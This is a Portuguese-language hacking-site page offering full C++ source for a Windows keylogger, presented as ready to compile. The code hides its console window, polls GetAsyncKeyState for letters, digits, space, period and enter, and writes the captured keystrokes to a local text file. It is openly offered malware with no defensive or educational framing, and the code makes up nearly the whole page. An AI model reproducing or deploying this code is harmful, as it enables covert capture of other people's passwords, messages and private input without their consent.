URL:

Opção :




KEYLOGGER EM C++

KEYLOGGER EM C++ - BAIXE O DEV-CPP E É SÓ COMPILAR!

Código:
#include <windows.h>
#include <iostream>         //bibliotecas... =]
#include <fstream>          // essa biblioteca realiza(fluxo) tanto operações de entrada como de saída...
#include <string>

using namespace std;

int main(){
    FreeConsole();   //deixa a janela invisivel, haha...
     
    string teclas;    //variaveis
 
    while(1==1){  //NÃO usei o TRUE, haha, legibilidade do codigo...(creditos pela diga, 0KaL! KKKK)
      if(GetAsyncKeyState(0x41)){       //aqui fica responsavel pela captura das teclas...
           cout << "a";     //41 é o equivale a letra "a" em HEXADECIMAL... então ele imprime a letra "a" na string  "teclas".               
           teclas+= "a";    //vai fazer isso pelo o resto do código!
           Sleep(200);                      
      };
      if(GetAsyncKeyState(0x42)){
           cout << "b";
           teclas+= "b";
           Sleep(200);                      
      };
      if(GetAsyncKeyState(0x43)){
           cout << "c";
           teclas+= "c";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x44)){
           cout<<"d";
           teclas+="d";
           Sleep(200);                      
      }; 
      if(GetAsyncKeyState(0x45)){
           cout<<"e";
           teclas+="e";
           Sleep(200);                      
      };      
     
      if(GetAsyncKeyState(0x46)){
           cout<<"f";
           teclas+="f";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x47)){
           cout<<"g";
           teclas+="g";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x48)){
           cout<<"h";
           teclas+="h";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x49)){
           cout<<"i";
           teclas+="i";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x4a)){
           cout<<"j";
           teclas+="j";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x4b)){
           cout<<"k";
           teclas+="k";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x4c)){
           cout<<"l";
           teclas+="l";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x4d)){
           cout<<"m";
           teclas+="m";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x4e)){
           cout<<"n";
           teclas+="n";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x4f)){
           cout<<"o";
           teclas+="o";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x50)){
           cout<<"p";
           teclas+="p";
           Sleep(200);                      
      }; 
      if(GetAsyncKeyState(0x51)){
           cout<<"q";
           teclas+="q";
           Sleep(200);                      
      };  
      if(GetAsyncKeyState(0x52)){
           cout<<"r";
           teclas+="r";
           Sleep(200);                      
      };
      if(GetAsyncKeyState(0x53)){
           cout<<"s";
           teclas+="s";
           Sleep(200);                      
      };  
      if(GetAsyncKeyState(0x54)){
           cout<<"t";
           teclas+="t";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x55)){
           cout<<"u";
           teclas+="u";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x56)){
           cout<<"v";
           teclas+="v";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x57)){
           cout<<"w";
           teclas+="w";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x58)){
           cout<<"x";
           teclas+="x";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x59)){
           cout<<"y";
           teclas+="y";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x5A)){
           cout<<"z";
           teclas+="z";
           Sleep(200);                      
      }; 
      if(GetAsyncKeyState(VK_SPACE)){
           cout<<" ";
           teclas+=" ";
           Sleep(200);                      
      }; 
      if(GetAsyncKeyState(0x6E)){
           cout<<".";
           teclas+=".";
           Sleep(200);                      
      }; 
      if(GetAsyncKeyState(0x0d)){
           cout<<"/n";
           teclas+="<br>";
           Sleep(200);
      };
      if(GetAsyncKeyState(0x30)){
           cout<<"0";
           teclas+="0";
           Sleep(200);                      
      };
      if(GetAsyncKeyState(0x31)){
           cout<<"1";
           teclas+="1";
           Sleep(200);                      
      };
      if(GetAsyncKeyState(0x32)){
           cout<<"2";
           teclas+="2";
           Sleep(200);                      
      };
      if(GetAsyncKeyState(0x33)){
           cout<<"3";
           teclas+="3";
           Sleep(200);                      
      };       
      if(GetAsyncKeyState(0x34)){
           cout<<"4";
           teclas+="4";
           Sleep(200);                      
      };
      if(GetAsyncKeyState(0x35)){
           cout<<"5";
           teclas+="5";
           Sleep(200);                      
      };
      if(GetAsyncKeyState(0x36)){
           cout<<"6";
           teclas+="6";
           Sleep(200);                      
      };
      if(GetAsyncKeyState(0x37)){
           cout<<"7";
           teclas+="7";
           Sleep(200);                      
      };
      if(GetAsyncKeyState(0x38)){
           cout<<"8";
           teclas+="8";
           Sleep(200);                      
      };
      if(GetAsyncKeyState(0x39)){
           cout<<"9";
           teclas+="9";
           Sleep(200);                      
      };
      
          // cria um  arquvo txt para implementar as teclas digitadas...
  ofstream meu_arquivozinho;      
  meu_arquivozinho.open ("log_das_teclas.txt");       
  meu_arquivozinho << teclas;                        // faz digita a string teclas no arquivo txt.
  meu_arquivozinho.close();                         // fecha.

};
}



MUNDO HACKER... (:

Compartilhar usando :

DEIXE SEU COMENTARIO :

Comentarios - Mundo Hacker | Facebook-copyright(™ © ®)